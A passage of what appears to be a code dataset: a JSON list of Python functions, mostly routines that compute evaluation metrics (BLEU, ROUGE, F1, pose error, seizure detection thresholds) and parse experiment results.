l.append((self.get_run_tag(result.platform,result.cpuarch,result.arch,result.sequence),test_result))\\n # step 2: group results for each test\\n for test_id,test_results in test_details.items():\\n groups = [] # item format: (result,[list_of_runs])\\n for result_id,test_result in test_results:\\n added = False\\n for group in groups:\\n if self.compare_results(group[0],test_result):\\n group[1].append(result_id)\\n added = True\\n if not added:\\n groups.append((test_result,[result_id]))\\n del test_results[:]\\n test_results.extend(groups)\\n\\n # pass 3: Order tests\\n test_order = tests.keys()\\n test_order.sort(key=okey)\\n\\n # pass 4: Generate report\\n self.print_analysis(version,results,tests,test_details,test_order,\\n output_dir, diffs_only)\",\n \"def evaluate(predictions, gold_file, out_prediction_file):\\n # Save the evaluations to a file\\n with codecs.open(out_prediction_file, 'w', 'utf-8') as f_out:\\n for (w1, w2), curr_paraphrases in predictions.items():\\n for paraphrase, score in curr_paraphrases:\\n f_out.write('\\\\t'.join((w1, w2, paraphrase, str(score))) + '\\\\n')\\n\\n # java -classpath bin/ semeval2013.Scorer goldstandard.txt semeval_2013_paraphrases.tsv -verbose -isomorphic=true\\n scores = []\\n for isomporphic in ['true', 'false']:\\n result = subprocess.run(['java', '-classpath', 'bin/', 'semeval2013.Scorer',\\n gold_file, out_prediction_file, '-verbose',\\n '-isomorphic={}'.format(isomporphic)],\\n stdout=subprocess.PIPE)\\n # Take the last line\\n scores.append(float(result.stdout.decode('utf-8').split('\\\\n')[-2]))\\n\\n return scores\",\n \"def event_based_evaluation(reference_event_list, estimated_event_list):\\n\\n files = {}\\n for event in reference_event_list:\\n files[event['filename']] = event['filename']\\n\\n evaluated_files = sorted(list(files.keys()))\\n\\n event_based_metric = sed_eval.sound_event.EventBasedMetrics(\\n # event_label_list=reference_event_list.unique_event_labels,\\n event_label_list = config.labels, \\n t_collar=0.200,\\n percentage_of_length=0.2,\\n )\\n\\n for file in evaluated_files:\\n reference_event_list_for_current_file = []\\n # events = []\\n for event in reference_event_list:\\n if event['filename'] == file:\\n reference_event_list_for_current_file.append(event)\\n # events.append(event.event_label)\\n estimated_event_list_for_current_file = []\\n for event in estimated_event_list:\\n if event['filename'] == file:\\n estimated_event_list_for_current_file.append(event)\\n\\n event_based_metric.evaluate(\\n reference_event_list=reference_event_list_for_current_file,\\n estimated_event_list=estimated_event_list_for_current_file\\n )\\n\\n return event_based_metric\",\n \"def evaluate(parser):\\n required_args = (\\n 'train_tfrecord',\\n 'valid_tfrecord',\\n 'predicted_data',\\n 'actual_data',\\n )\\n cli_args = add_all_args(parser, EVALUATION, *required_args)\\n evaluator = Evaluator(\\n input_shape=cli_args.input_shape,\\n model_configuration=cli_args.model_cfg,\\n train_tf_record=cli_args.train_tfrecord,\\n valid_tf_record=cli_args.valid_tfrecord,\\n classes_file=cli_args.classes,\\n max_boxes=cli_args.max_boxes,\\n iou_threshold=cli_args.iou_threshold,\\n score_threshold=cli_args.score_threshold,\\n )\\n predicted = pd.read_csv(cli_args.predicted_data)\\n actual = pd.read_csv(cli_args.actual_data)\\n evaluator.calculate_map(\\n prediction_data=predicted,\\n actual_data=actual,\\n min_overlaps=cli_args.min_overlaps,\\n display_stats=cli_args.display_stats,\\n save_figs=cli_args.save_figs,\\n plot_results=cli_args.plot_stats,\\n )\",\n \"def test(self,test_fn, eval_metrics):\\n # Load gold and predict\\n X, Y = self.load_dataset(test_fn)\\n y = self.model.predict(X)\\n\\n # Get most probable predictions and flatten\\n Y = RNNOIE_model.consolidate_labels(self.transform_output_probs(Y).flatten())\\n y = RNNOIE_model.consolidate_labels(self.transform_output_probs(y).flatten())\\n\\n # Run evaluation metrics and report\\n # TODO: is it possible to compare without the padding?\\n ret = []\\n for (metric_name, metric_func) in eval_metrics:\\n ret.append((metric_name, metric_func(Y, y)))\\n # logging.debug(\\\"calculating {}\\\".format(ret[-1]))\\n\\n for (metric_name, metric_val) in ret:\\n logging.info(\\\"{}: {:.4f}\\\".format(metric_name,\\n metric_val))\\n return Y, y, ret\",\n \"def evaluate(parameters, f_eval, raw_sentences, parsed_sentences,\\n id_to_tag, input_file_path):\\n predictions = []\\n for raw_sentence, data in zip(raw_sentences, parsed_sentences):\\n input = create_input(data, parameters, False)\\n if parameters['crf']:\\n y_preds = np.array(f_eval(*input))[1:-1]\\n else:\\n y_preds = f_eval(*input).argmax(axis=1)\\n p_tags = [id_to_tag[y_pred] for y_pred in y_preds]\\n\\n if parameters['tag_scheme'] == 'iobes':\\n p_tags = iobes_iob(p_tags)\\n\\n for i, y_pred in enumerate(y_preds):\\n new_line = \\\"%s %s\\\" % (raw_sentence[i][0], p_tags[i])\\n predictions.append(new_line)\\n predictions.append(\\\"\\\")\\n output_path = os.path.join(opts.output, os.path.basename(input_file_path[:-4] + \\\"_Tagged.txt\\\"))\\n with codecs.open(output_path, 'w', 'utf8') as f:\\n f.write(\\\"\\\\n\\\".join(predictions))\",\n \"def compute_metrics(self, results: list) -> dict:\\n dump(results, self.out_file_path)\\n print_log(\\n f'Results has been saved to {self.out_file_path}.',\\n logger='current')\\n return {}\",\n \"def evaluate_multiple(logits, targets, eval_cutoffs=[5, 10, 20], batch_wise=False):\\n _, indices = torch.topk(logits, max(eval_cutoffs), -1)\\n recall, mrr = [], []\\n for k in eval_cutoffs:\\n indices_k = indices[:, :k]\\n targets_k = targets\\n recall_k, mrr_k = get_recall(indices_k, targets_k, batch_wise), get_mrr(indices_k, targets_k, batch_wise)\\n\\n recall.append(recall_k)\\n\\n mrr.append(mrr_k)\\n # print([[str(x.size()) for x in recall], str(targets.size()), str(indices_k.size())])\\n return recall, mrr\",\n \"def _evaluate(self,\\n logits,\\n predictions,\\n data, evaluation_fn,\\n max_eval_batches=None,\\n calculate_scores=True,\\n write_results=False):\\n # counting the evaluation batches\\n num_eval_batches = 0\\n # logits and predictions from the model\\n all_logits = []\\n all_predictions = []\\n # fetched data that led to the predictions\\n # dictionary of {seq_1: [], seq_2: [], target: []}\\n all_fetched_data = collections.defaultdict(list)\\n try:\\n while True:\\n # sample predictions\\n (fetched_logits,\\n fetched_predictions,\\n fetched_data) = self._fetch_data_batch(\\n logits=logits, predictions=predictions, data=data)\\n\\n # Cache the data\\n all_logits += fetched_logits\\n all_predictions += fetched_predictions\\n all_fetched_data[\\\"target\\\"] += fetched_data[\\\"target\\\"]\\n\\n # break the loop if max_eval_batches is set\\n num_eval_batches += 1\\n if (max_eval_batches and\\n num_eval_batches >= max_eval_batches):\\n break\\n\\n except tf.errors.OutOfRangeError:\\n pass\\n\\n # Evaluate\\n scores = None\\n if calculate_scores:\\n scores = evaluation_fn(\\n all_predictions,\\n all_fetched_data[\\\"seq_1\\\"], # Should be empty\\n all_fetched_data[\\\"seq_2\\\"], # Should be empty\\n all_fetched_data[\\\"target\\\"])\\n\\n if write_results:\\n _write_results_to_csv(\\n all_logits,\\n all_predictions,\\n all_fetched_data,\\n output_dir=os.path.join(\\n self._logdir, RESULTS_CSV_FNAME))\\n\\n return len(all_predictions), scores\",\n \"def metric_eval_for_mturk_words_with_ir(hyp_scores, y_true_sents, y_true_words, n_sents, n_words, pred_grain, max_alter,\\n matching_mode, binarize_max_alter=True, save_pred_to=None, save_true_to=None):\\n para = {\\n 'hyp_scores': hyp_scores,\\n 'y_true_sents': y_true_sents,\\n 'y_true_words': y_true_words,\\n 'n_sents': n_sents,\\n 'n_words': n_words,\\n 'pred_grain': pred_grain,\\n 'max_alter': max_alter,\\n 'matching_mode': matching_mode,\\n 'binarize_max_alter': binarize_max_alter,\\n }\\n\\n y_true, y_pred = get_metric_inputs_wo_flatten(**para)\\n\\n if save_pred_to:\\n save_numpy(y_pred, fp=save_pred_to)\\n\\n if save_true_to:\\n save_numpy(y_true, fp=save_true_to)\\n\\n p_list, r_list = compute_exam_p_and_r(y_true, y_pred, n_sents, n_words)\\n\\n res = {\\n 'p_list': p_list,\\n 'r_list': r_list,\\n }\\n\\n return res\",\n \"def process_pr_results(self, results_files, custom_report):\\n \\n\\n \\n output_file = open(os.path.join(self.path, 'raw_results.txt'), 'w')\\n \\n #Keep track of the last read line before a newline; this will be the best value from an optimization run\\n last_line = ''\\n #Match a string of the format ( 0.0995749 0.101685 0.108192 0.091224 ) 0.091224 0 100\\n #Contains parameter values, the best optimization value, the cpu time, and some other values, e.g. particle numbers that Copasi likes to add. These could be removed, but they seem useful.\\n output_string = r'.*\\\\(\\\\s(?P<params>.+)\\\\s\\\\)\\\\s+(?P<best_value>\\\\S+)\\\\s+(?P<cpu_time>\\\\S+)\\\\s+(?P<function_evals>\\\\S+)\\\\.*'\\n output_re = re.compile(output_string)\\n \\n best_value = None\\n best_line = None\\n \\n #Copy the contents of the first file to results.txt\\n for line in open(os.path.join(self.path, results_files[0]), 'r'):\\n output_file.write(line)\\n try:\\n if line != '\\\\n':\\n if output_re.match(line):\\n current_value = float(output_re.match(line).groupdict()['best_value'])\\n if best_value != None:\\n if current_value < best_value:\\n best_value = current_value\\n best_line = line\\n elif best_value == None:\\n best_value = current_value\\n best_line = line\\n else:\\n pass\\n except Exception as e:\\n if custom_report:\\n pass\\n else:\\n raise e\\n \\n #And for all other files, copy everything but the last line\\n for filename in results_files[1:]:\\n firstLine = True\\n for line in open(os.path.join(self.path, filename), 'r'):\\n if not firstLine:\\n output_file.write(line)\\n try:\\n if line != '\\\\n':\\n if output_re.match(line):\\n current_value = float(output_re.match(line).groupdict()['best_value'])\\n if current_value < best_value:\\n best_value = current_value\\n best_line = line\\n else:\\n pass\\n except Exception as e:\\n if custom_report:\\n pass\\n else:\\n raise e\\n firstLine = False\\n \\n \\n output_file.close()\\n \\n #Write the best value to results.txt\\n output_file = open(os.path.join(self.path, 'results.txt'), 'w')\\n \\n output_file.write('Best value\\\\tCPU time\\\\tFunction evals\\\\t')\\n \\n for parameter in self.get_parameter_estimation_parameters():\\n\\n output_file.write(parameter[0].encode('utf8'))\\n output_file.write('\\\\t')\\n output_file.write('\\\\n')\\n\\n best_line_dict = output_re.match(best_line).groupdict()\\n\\n output_file.write(best_line_dict['best_value'])\\n output_file.write('\\\\t')\\n output_file.write(best_line_dict['cpu_time'])\\n output_file.write('\\\\t')\\n output_file.write(best_line_dict['function_evals'])\\n output_file.write('\\\\t')\\n \\n for parameter in best_line_dict['params'].split('\\\\t'):\\n output_file.write(parameter)\\n output_file.write('\\\\t')\\n output_file.close()\\n \\n if best_value != None:\\n return True\\n else:\\n return False\",\n \"def evaluate(self,\\n outputs: list,\\n res_folder: str,\\n metric: Optional[Union[str, List[str]]] = 'pa-mpjpe',\\n **kwargs: dict):\\n metrics = metric if isinstance(metric, list) else [metric]\\n for metric in metrics:\\n if metric not in self.ALLOWED_METRICS:\\n raise KeyError(f'metric {metric} is not supported')\\n\\n # for keeping correctness during multi-gpu test, we sort all results\\n res_dict = {}\\n for out in outputs:\\n target_id = out['image_idx']\\n batch_size = len(out['keypoints_3d'])\\n for i in range(batch_size):\\n res_dict[int(target_id[i])] = dict(\\n keypoints=out['keypoints_3d'][i],\\n vertices=out['vertices'][i],\\n )\\n keypoints, vertices = [], []\\n for i in range(self.num_data):\\n keypoints.append(res_dict[i]['keypoints'])\\n vertices.append(res_dict[i]['vertices'])\\n keypoints = np.stack(keypoints)\\n vertices = np.stack(vertices)\\n res = dict(keypoints=keypoints, vertices=vertices)\\n name_value_tuples = []\\n for index, _metric in enumerate(metrics):\\n if 'body_part' in kwargs:\\n body_parts = kwargs['body_part'][index]\\n for body_part in body_parts:\\n if _metric == 'pa-mpjpe':\\n _nv_tuples = self._report_mpjpe(\\n res, metric='pa-mpjpe', body_part=body_part)\\n elif _metric == 'pa-pve':\\n _nv_tuples = self._report_pve(\\n res, metric='pa-pve', body_part=body_part)\\n else:\\n raise NotImplementedError\\n name_value_tuples.extend(_nv_tuples)\\n else:\\n if _metric == 'mpjpe':\\n _nv_tuples = self._report_mpjpe(res)\\n elif _metric == 'pa-mpjpe':\\n _nv_tuples = self._report_mpjpe(res, metric='pa-mpjpe')\\n elif _metric == '3dpck':\\n _nv_tuples = self._report_3d_pck(res)\\n elif _metric == 'pa-3dpck':\\n _nv_tuples = self._report_3d_pck(res, metric='pa-3dpck')\\n elif _metric == '3dauc':\\n _nv_tuples = self._report_3d_auc(res)\\n elif _metric == 'pa-3dauc':\\n _nv_tuples = self._report_3d_auc(res, metric='pa-3dauc')\\n elif _metric == 'pve':\\n _nv_tuples = self._report_pve(res)\\n elif _metric == 'pa-pve':\\n _nv_tuples = self._report_pve(res, metric='pa-pve')\\n elif _metric == '3DRMSE':\\n _nv_tuples = self._report_3d_rmse(res)\\n else:\\n raise NotImplementedError\\n name_value_tuples.extend(_nv_tuples)\\n name_value = OrderedDict(name_value_tuples)\\n return name_value\",\n \"def run_evaluate_compound(self, data):\\n tp = 0\\n tn = 0\\n fp = 0\\n fn = 0\\n for words, labels, pos in minbatch_generator(data, self.batch_size):\\n labels_pred, sequence_lengths = self.predict_batch(words, pos)\\n if not type(labels_pred) == list:\\n labels_pred = labels_pred.tolist()\\n for i, label_actual in enumerate(labels):\\n # we have to now find all aspect terms. That is, merge consecutive B \\n # with I's until we get an O or B\\n a_terms_actual, non_a_terms_actual = get_aspect_chunks(label_actual)\\n for a_term in a_terms_actual:\\n # say we have [1,2,3] as our a_term. we have to make sure that our \\n # prediction should have tags B, I, I in 1, 2 and 3 indices respectively\\n a_term_pred = []\\n for index in a_term:\\n if not label_actual[index] == labels_pred[i][index]:\\n fn += 1\\n break\\n else:\\n tp += 1\\n for index in non_a_terms_actual:\\n if label_actual[index] == labels_pred[i][index]:\\n tn += 1\\n else:\\n fp += 1\\n\\n precision = 0 if tp+fp == 0 else tp/(tp+fp)\\n recall = 0 if tp+fn == 0 else tp/(tp+fn)\\n fscore = 0 if precision+recall == 0 else (2*recall*precision)/(recall+precision)\\n metrics = dict()\\n metrics[\\\"p_1\\\"] = precision\\n metrics[\\\"f_1\\\"] = fscore\\n metrics[\\\"r_1\\\"] = recall\\n return metrics\",\n \"def eval_accuracies(hypotheses, references, sources=None, filename=None, mode='dev'):\\n assert (sorted(references.keys()) == sorted(hypotheses.keys()))\\n\\n # Compute BLEU scores\\n _, bleu, ind_bleu = corpus_bleu(hypotheses, references)\\n\\n # Compute ROUGE scores\\n rouge_calculator = Rouge()\\n rouge_l, ind_rouge = rouge_calculator.compute_score(references, hypotheses)\\n\\n # Compute METEOR scores\\n if mode == 'test':\\n meteor_calculator = Meteor()\\n meteor, _ = meteor_calculator.compute_score(references, hypotheses)\\n else:\\n meteor = 0\\n\\n fw = open(filename, 'w') if filename else None\\n for key in references.keys():\\n if fw:\\n pred_i = hypotheses[key]\\n\\n logobj = OrderedDict()\\n logobj['id'] = key\\n if sources is not None:\\n logobj['code'] = sources[key]\\n logobj['predictions'] = pred_i\\n logobj['references'] = references[key]\\n logobj['bleu'] = ind_bleu[key]\\n logobj['rouge_l'] = ind_rouge[key]\\n print(json.dumps(logobj), file=fw)\\n\\n if fw: fw.close()\\n return bleu * 100, rouge_l * 100, meteor * 100\",\n \"def evaluate_model(args, eval_runs, warm_runs, metrics=['psnr', 'ssim', 'fps']):\\n upsampler = Upsampler(args)\\n if warm_runs > 0:\\n print(\\\"Warming up for evaluation\\\")\\n for i in range(warm_runs):\\n print(\\\"Performing warm-up run\\\", str(i+1))\\n for sequence in ['foliage', 'walk', 'calendar', 'city']:\\n bix_dir = os.path.join(VID4_DIR, 'BIx4', sequence)\\n upsampler.run_dir(bix_dir, reset=False)\\n \\n time = 0.\\n psnrs = []\\n ssims = []\\n for i in range(eval_runs):\\n run_psnrs = []\\n run_ssims = []\\n print(\\\"Performing evaluation run\\\", str(i+1))\\n for sequence in ['foliage', 'walk', 'calendar', 'city']:\\n bix_dir = os.path.join(VID4_DIR, 'BIx4', sequence)\\n gt_dir = os.path.join(VID4_DIR, 'GT', sequence)\\n print(\\\"Evaluating on\\\", bix_dir)\\n time += upsampler.run_dir(bix_dir, reset=False)\\n vid_psnrs, vid_ssims = _eval_sr_perf(os.path.join(bix_dir, 'up'), gt_dir)\\n run_psnrs += vid_psnrs\\n run_ssims += vid_ssims\\n if i == eval_runs-1:\\n with open(os.path.join(upsampler.get_model_dir(), \\\"psnr.txt\\\"), \\\"w\\\") as f:\\n f.writelines(str(psnr) + '\\\\n' for psnr in run_psnrs)\\n with open(os.path.join(upsampler.get_model_dir(), \\\"ssim.txt\\\"), \\\"w\\\") as f:\\n f.writelines(str(ssim) + '\\\\n' for ssim in run_ssims)\\n psnrs += run_psnrs\\n ssims += run_ssims\\n\\n fps = VID4_LENGTH/ (time/eval_runs)\\n return Performance(psnr=psnrs, ssim=ssims, fps=fps)\",\n \"def evaluate(self, test_dir='data/dev', target='real'):\\n test_data = {c: os.path.join(test_dir, c) for c in self.classes}\\n if not target in test_data:\\n print('Error: target class does not exist in test data.')\\n return\\n outcomes = {'TP': 0, 'TN': 0, 'FP': 0, 'FN': 0}\\n # >>> YOUR ANSWER HERE\\n data = []\\n for c in test_data:\\n docs = open(test_data[c]).readlines()\\n for doc in docs:\\n preprocess_doc = doc.strip()\\n data.append((c, preprocess_doc))\\n for item in data:\\n predict_ans = self.predict(item[1])\\n if item[0] == 'real':\\n if predict_ans == 'real':\\n outcomes['TP'] += 1\\n else:\\n outcomes['FN'] += 1\\n else:\\n if predict_ans == 'real':\\n outcomes['FP'] += 1\\n else:\\n outcomes['TN'] += 1\\n precision = outcomes['TP'] / (outcomes['TP'] + outcomes['FP']) # replace with equation for precision\\n recall = outcomes['TP'] / (outcomes['TP'] + outcomes['FN']) # replace with equation for recall\\n f1_score = 2 * ((precision * recall) / (precision + recall)) # replace with equation for f1\\n # >>> END YOUR ANSWER\\n return precision, recall, f1_score\",\n \"def evaluate(gold, predictions):\\n # gold = {i[\\\"id\\\"]:i[\\\"label\\\"] for i in read(goldfile)}\\n # sys = {i[\\\"id\\\"]:i[\\\"prediction\\\"] for i in read(sysfile)}\\n\\n labels, preds = [], []\\n for idx in gold:\\n labels.append(gold[idx])\\n preds.append(predictions[idx])\\n\\n precision_macro, recall_macro, f1_macro, _ = precision_recall_fscore_support(labels, preds, labels=[0, 1],\\n average=\\\"macro\\\")\\n print(\\\"F1-macro score for test data predictions are: %.4f\\\" % f1_macro)\\n return preds\",\n \"def parse_results(\\n predictions_fname_or_sdf_root, rmsd_info=None, rmsd_info_fname=None):\\n\\n def extract_energies(sdf):\\n \\\"\\\"\\\"Return {index: minimizedAffinity} for each docked item in an sdf.\\\"\\\"\\\"\\n energies = {}\\n record_next = False\\n with open(Path(sdf).expanduser(), 'r') as f:\\n for line in f.readlines():\\n if line.startswith('> <minimizedAffinity>'):\\n record_next = True\\n continue\\n if record_next:\\n energies[len(energies)] = float(line.strip())\\n record_next = False\\n return energies\\n\\n assert not (rmsd_info is None and rmsd_info_fname is None)\\n\\n if rmsd_info_fname is not None:\\n with open(Path(rmsd_info_fname).expanduser(), 'r') as f:\\n rmsd_info = yaml.load(f, Loader=yaml.FullLoader)\\n\\n predictions_fname_or_sdf_root = Path(\\n predictions_fname_or_sdf_root).expanduser()\\n if predictions_fname_or_sdf_root.is_file():\\n df = pd.read_csv(predictions_fname_or_sdf_root, sep=' ',\\n names=['y_true', '|', 'y_pred', 'rec', 'lig'])\\n y_true = list(df.y_true)\\n y_pred = list(df.y_pred)\\n recs = list(df.rec)\\n ligs = [Path(ligname).name.split('.')[0] for ligname in list(df.lig)]\\n\\n pdbid_to_scores_and_rmsds = defaultdict(list)\\n top_ranked_rmsds = []\\n for i in range(len(df)):\\n pdbid = Path(recs[i]).name.split('.')[0]\\n rmsd_info_record = rmsd_info[pdbid]\\n if ligs[i].startswith('minimised'):\\n continue\\n rmsd = rmsd_info_record['docked_wrt_crystal'][int(\\n ligs[i].split('_')[-1])]\\n pdbid_to_scores_and_rmsds[recs[i]].append(\\n (y_true[i], y_pred[i], rmsd))\\n\\n sorted_scores_and_rmsds_lst = []\\n for rec, lst in pdbid_to_scores_and_rmsds.items():\\n sorted_scores_and_rmsds = sorted(\\n lst, key=lambda x: x[1], reverse=True)\\n sorted_scores_and_rmsds = np.array(sorted_scores_and_rmsds)\\n sorted_scores_and_rmsds_lst.append(sorted_scores_and_rmsds)\\n\\n top_ranked_rmsd = sorted_scores_and_rmsds[0][2]\\n top_ranked_rmsds.append(top_ranked_rmsd)\\n elif predictions_fname_or_sdf_root.is_dir():\\n sorted_scores_and_rmsds_lst = []\\n for docked_sdf in Path(predictions_fname_or_sdf_root).expanduser().glob(\\n '**/docked_poses.sdf'):\\n try:\\n rmsds = rmsd_info[docked_sdf.parent.name]['docked_wrt_crystal']\\n except KeyError:\\n continue\\n docked_energies = extract_energies(docked_sdf)\\n combined = np.array(sorted([(\\n 0, docked_energies[key], rmsds[key]) for key in\\n docked_energies.keys()], key=lambda x: x[1]))\\n combined[:, 0] = combined[:, 2] < 2\\n sorted_scores_and_rmsds_lst.append(np.array(combined))\\n else:\\n raise FileNotFoundError(\\n str(predictions_fname_or_sdf_root) + ' does not exist.')\\n\\n return Ranking(predictions_fname_or_sdf_root, sorted_scores_and_rmsds_lst)\",\n \"def grep_data(cutoff, files):\\n res = {}\\n for file in files:\\n if is_gaussian(file) and is_fluorescence(file):\\n res, name = update_dict_with_name(file, res)\\n res, root = find_root(file, res, name)\\n res = find_spectral_data(file, res, name, root, cutoff)\\n return res\",\n \"def cross_validate_per_threshold(dict_trust_cv, dict_labels, dict_predictions, dict_seizure_timings, dict_idx_to_check,\\n fld_number, run_number, pat_ids_arr, per_arr_cv):\\n n_patients = pat_ids_arr.shape[0]\\n per_arr_cv = np.array(per_arr_cv)\\n n_per = per_arr_cv.shape[0]\\n F1_per = np.zeros((n_per, n_patients))\\n # determine threshold\\n all_trust_scores = []\\n for pat_id in pat_ids_arr:\\n dict_str = 'fld_' + str(fld_number) + '_run_' + str(run_number) + '_pat_id_' + str(pat_id)\\n all_trust_scores = all_trust_scores + list(dict_trust_cv[dict_str])\\n for pat_cnt in range(n_patients):\\n pat_id = pat_ids_arr[pat_cnt]\\n pid_str = str(pat_id)\\n labels_all = dict_labels[pid_str]\\n predictions_all = dict_predictions[pid_str]\\n idx_pat_to_check = dict_idx_to_check[pid_str]\\n dict_str = 'fld_' + str(fld_number) + '_run_' + str(run_number) + '_pat_id_' + str(pat_id)\\n trust_scores_pat = dict_trust_cv[dict_str]\\n seizure_timings = dict_seizure_timings[pid_str]\\n for per_cnt in range(n_per):\\n per = per_arr_cv[per_cnt]\\n threshold_trust_scores = np.percentile(all_trust_scores, per)\\n # loop over the recordings of the patient\\n TP = 0\\n FP = 0\\n FN = 0\\n total_seizures = 0\\n F1 = 0.\\n seizure_flags, n_not_trusted = af.calculate_seizure_flags_w_trustscores_threshold_fast(label_input=predictions_all,\\n trust_scores=trust_scores_pat, threshold_value=threshold_trust_scores, idx_to_check=idx_pat_to_check)\\n # calculate F1\\n TP, FP, FN, total_seizures, det_del, detected_seizure_timings, FP_times = af.precision_metrics_kaat_10s(seizure_flags, seizure_timings)\\n if total_seizures > 0: \\n if int(TP) > 0:\\n F1 = 2.*TP / (2.*TP + FP + FN)\\n else:\\n F1 = 0.\\n F1_per[per_cnt, pat_cnt] = F1 \\n else:\\n F1_per[per_cnt, pat_cnt] = np.nan\\n F1_av = []\\n for i in range(n_per):\\n F1_av.append(np.nanmean(F1_per[i, :]))\\n print('F1 = ' + str(F1_av))\\n F1_av = np.array(F1_av)\\n where_max = np.argmax(F1_av)\\n max_per = per_arr_cv[where_max]\\n max_threshold = np.percentile(all_trust_scores, max_per)\\n del all_trust_scores\\n return max_threshold\",\n \"def quantile_binning_predictions(\\n uncertainties_test: Dict[str, Union[int, float]],\\n uncert_thresh: List[List[float]],\\n save_pred_path: Optional[str] = None,\\n) -> Dict[str, int]:\\n # Test if dictionary correct structure\\n if not isinstance(uncertainties_test, dict):\\n raise ValueError(\\\"uncertainties_test must be of type dict\\\")\\n else:\\n for i, (key, fc) in enumerate(uncertainties_test.items()):\\n if not isinstance(key, str) or (not isinstance(fc, float) and not isinstance(fc, int)):\\n raise ValueError(\\n r\\\"Dict uncertainties_test should be of structure {string_id1: float_uncertainty1/int_uncertainty1, string_id2: float_uncertainty2/int_uncertainty2 } \\\"\\n )\\n\\n if np.array(uncert_thresh).shape != (len(uncert_thresh), 1):\\n raise ValueError(\\\"uncert_thresh list should be 2D e.g. [[0.1], [0.2], [0.3]] \\\")\\n\\n all_binned_errors = {}\\n\\n for i, (key, fc) in enumerate(uncertainties_test.items()):\\n for q in range(len(uncert_thresh) + 1):\\n if q == 0:\\n lower_c_bound = uncert_thresh[q][0]\\n\\n if fc <= lower_c_bound:\\n all_binned_errors[key] = q\\n\\n elif q < len(uncert_thresh):\\n lower_c_bound = uncert_thresh[q - 1][0]\\n upper_c_bound = uncert_thresh[q][0]\\n\\n if fc <= upper_c_bound:\\n if fc > lower_c_bound:\\n all_binned_errors[key] = q\\n\\n # Finally do the last bin\\n else:\\n lower_c_bound = uncert_thresh[q - 1][0]\\n\\n if fc > lower_c_bound:\\n all_binned_errors[key] = q\\n\\n return all_binned_errors\",\n \"def process_file_metrics(root_dir, in_file_names, file_processors):\\n manager = mp.Manager()\\n file_metrics = manager.dict()\\n\\n parameters = [(root_dir, key, file_metrics, file_processors) for key in in_file_names]\\n\\n # main loop\\n p = mp.Pool(max(1, mp.cpu_count() - 1))\\n p.starmap(_process_file_metrics_parallel, parameters)\\n p.close()\\n p.join()\\n\\n return file_metrics\",\n \"def load_bresults(filename):\\n mandatory_cols = ['target', 'position', 'trigger', 'trialTime', 'duration']\\n optional_cols = ['correct', 'response', 'rt', 'numeric_target']\\n\\n hand_mapping = _get_hand_mapping_from_filename(filename)\\n\\n fp = open(filename, 'r')\\n reader = csv.DictReader(fp)\\n\\n result = {}\\n\\n try:\\n\\n for field in mandatory_cols:\\n if field not in reader.fieldnames:\\n raise Exception('Column \\\"{:}\\\" missing in file {:}'.format(field, filename))\\n optional_cols = [field for field in optional_cols if field in reader.fieldnames]\\n\\n is_string_targets = 'numeric_target' in optional_cols\\n\\n for row in reader:\\n\\n if is_string_targets:\\n target = int(row['numeric_target'])\\n stimulus = row['target']\\n else:\\n stimulus = row['target']\\n target = int(stimulus) if stimulus.isdigit() else -1\\n\\n result.setdefault('stimulus', []).append(stimulus)\\n result.setdefault('target', []).append(target)\\n\\n for field in mandatory_cols[1:] + optional_cols:\\n result.setdefault(field, []).append(int(float(row[field])))\\n\\n if hand_mapping is not None:\\n result.setdefault('handmapping', []).append(hand_mapping)\\n\\n finally:\\n fp.close()\\n\\n #-- Convert all arrays to np.array's\\n result = {k: np.array(result[k]) for k in result.keys()}\\n\\n return result\",\n \"def eval_batch(self, outputs, target):\\n raise NotImplementedError\",\n \"def select_targets(infiles, numproc=4, verbose=False):\\n #- Convert single file to list of files\\n if isinstance(infiles, (str, unicode)):\\n infiles = [infiles,]\\n\\n #- Sanity check that files exist before going further\\n for filename in infiles:\\n if not os.path.exists(filename):\\n raise ValueError(\\\"{} doesn't exist\\\".format(filename))\\n \\n #- function to run on every brick/sweep file\\n def _select_targets_file(filename):\\n '''Returns targets in filename that pass the cuts'''\\n objects = io.read_tractor(filename)\\n desi_target, bgs_target, mws_target = apply_cuts(objects)\\n \\n #- desi_target includes BGS_ANY and MWS_ANY, so we can filter just\\n #- on desi_target != 0\\n keep = (desi_target != 0)\\n objects = objects[keep]\\n desi_target = desi_target[keep]\\n bgs_target = bgs_target[keep]\\n mws_target = mws_target[keep]\\n\\n #- Add *_target mask columns\\n targets = desitarget.targets.finalize(\\n objects, desi_target, bgs_target, mws_target)\\n\\n return io.fix_tractor_dr1_dtype(targets)\\n\\n # Counter for number of bricks processed;\\n # a numpy scalar allows updating nbrick in python 2\\n # c.f https://www.python.org/dev/peps/pep-3104/\\n nbrick = np.zeros((), dtype='i8')\\n\\n t0 = time()\\n def _update_status(result):\\n ''' wrapper function for the critical reduction operation,\\n that occurs on the main parallel process '''\\n if verbose and nbrick%50 == 0 and nbrick>0:\\n rate = nbrick / (time() - t0)\\n print('{} files; {:.1f} files/sec'.format(nbrick, rate))\\n\\n nbrick[...] += 1 # this is an in-place modification\\n return result\\n\\n #- Parallel process input files\\n if numproc > 1:\\n pool = sharedmem.MapReduce(np=numproc)\\n with pool:\\n targets = pool.map(_select_targets_file, infiles, reduce=_update_status)\\n else:\\n targets = list()\\n for x in infiles:\\n targets.append(_update_status(_select_targets_file(x)))\\n \\n targets = np.concatenate(targets)\\n \\n return targets\",\n \"def run_check(output_file,\\n documents,\\n queries,\\n results,\\n ext=\\\".xhtml\\\",\\n formula_bags=False,\\n keep_words=True,\\n keep_math=True\\n ):\\n with open(output_file, \\\"w+\\\") as out:\\n analyzer = Analyzer(formula_bags=formula_bags,\\n keep_words=keep_words,\\n keep_math=keep_math)\\n queries = Queries(queries).get_queries()\\n results = Results(results)\\n print(\\\"{},{},{},{},{},{},{},{},{},{},{}\\\".format(\\\"Query\\\",\\n \\\"Document\\\",\\n \\\"Doc-Length\\\",\\n \\\"Ranking\\\",\\n \\\"Span\\\",\\n \\\"Min-Span\\\",\\n \\\"Normalized-Span\\\",\\n \\\"Normalized-Min-Span\\\",\\n \\\"Min-Distance\\\",\\n \\\"Ave-Distance\\\",\\n \\\"Max-Distance\\\"),\\n file=out)\\n undefined_docs = []\\n for q in tqdm(range(0, len(queries))):\\n query = queries[q]\\n for doc in results.documents_for_query(query):\\n try:\\n document = Document(os.path.join(documents, doc + ext))\\n (tf_dic, __) = document.lookup_dictionaries(analyzer)\\n relevant = lookup_relevant(results.find_score(query, doc))\\n try:\\n dist = calculate_distances(query, tf_dic)\\n doc_length = sum([len(tf_dic[key])\\n for key in tf_dic.keys()])\\n print(\\\"{},{},{},{},{}\\\".format(query,\\n document,\\n 